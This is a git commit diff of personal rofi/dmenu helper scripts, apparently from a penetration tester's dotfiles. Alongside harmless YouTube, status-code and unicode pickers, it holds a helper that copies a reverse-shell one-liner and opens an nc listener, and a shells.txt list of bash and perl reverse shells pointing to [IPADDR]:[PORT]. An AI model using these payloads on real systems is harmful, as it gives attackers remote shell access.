Small changes to dmenu-like scripts

Jonathan Hodgson 5 years ago
parent 38e202f3e0
commit 104bee1cfd
  1. 1
      bin/.bin/dmenu/dmenu
  2. 2
      bin/.bin/dmenu/open-youtube
  3. 12
      bin/.bin/dmenu/rofi-reverse-shells
  4. 1
      bin/.bin/dmenu/shells.txt
  5. 5
      bin/.bin/dmenu/status-codes
  6. 19
      bin/.bin/dmenu/unicode-character-select

@ -1 +0,0 @@
/usr/bin/rofi

@ -6,7 +6,7 @@ if [ -z "$url" ]; then
url=$(rofi -dmenu -p 'URL')
fi
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu | awk '{print $1}')
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu -p Quality | awk '{print $1}')
mpv "$url" --ytdl-format="$code"

@ -36,14 +36,26 @@ function getReverseShell() {
cut -d'|' -f2-
}
function getRows(){
stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3
}
function getCols(){
stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3
}
function display() {
ip=$(getIP)
port=$(getPort)
reverseShell=$(getReverseShell $ip $port)
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary
nc -lvnp $port
#Put the tty back to normal
# This is useful if I got a nice shell before
stty -raw echo
}

@ -1,4 +1,5 @@
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
BASH REVERSE SHELL|bash -c 'bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1'
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

@ -0,0 +1,5 @@
#!/usr/bin/env bash
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
cat "$SCRIPTPATH/http-status-codes" | fzf

@ -6,18 +6,8 @@
# Requirements:
# rofi, xsel, xdotool, curl, xmllint
#
# Usage:
# 1. Download all emoji
# $ rofi-emoji --download
#
# 2. Run it!
# $ rofi-emoji
#
# Notes:
# * You'll need a emoji font like "Noto Emoji" or "EmojiOne".
# * Confirming an item will automatically paste it WITHOUT
# writing it to your clipboard.
# * Ctrl+C will copy it to your clipboard WITHOUT pasting it.
#
# Where to save the emojis file.
@ -33,17 +23,12 @@ function notify() {
function display() {
emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$')
line=$(echo "$emoji" | dmenu -i -p Unicode -kb-custom-1 Ctrl+c $@)
line=$(echo "$emoji" | rofi -dmenu -i -p Unicode)
exit_code=$?
line=($line)
if [ $exit_code == 0 ]; then
xdotool type --clearmodifiers "${line[0]}"
elif [ $exit_code == 10 ]; then
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
fi
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
}

Loading…
Cancel
Save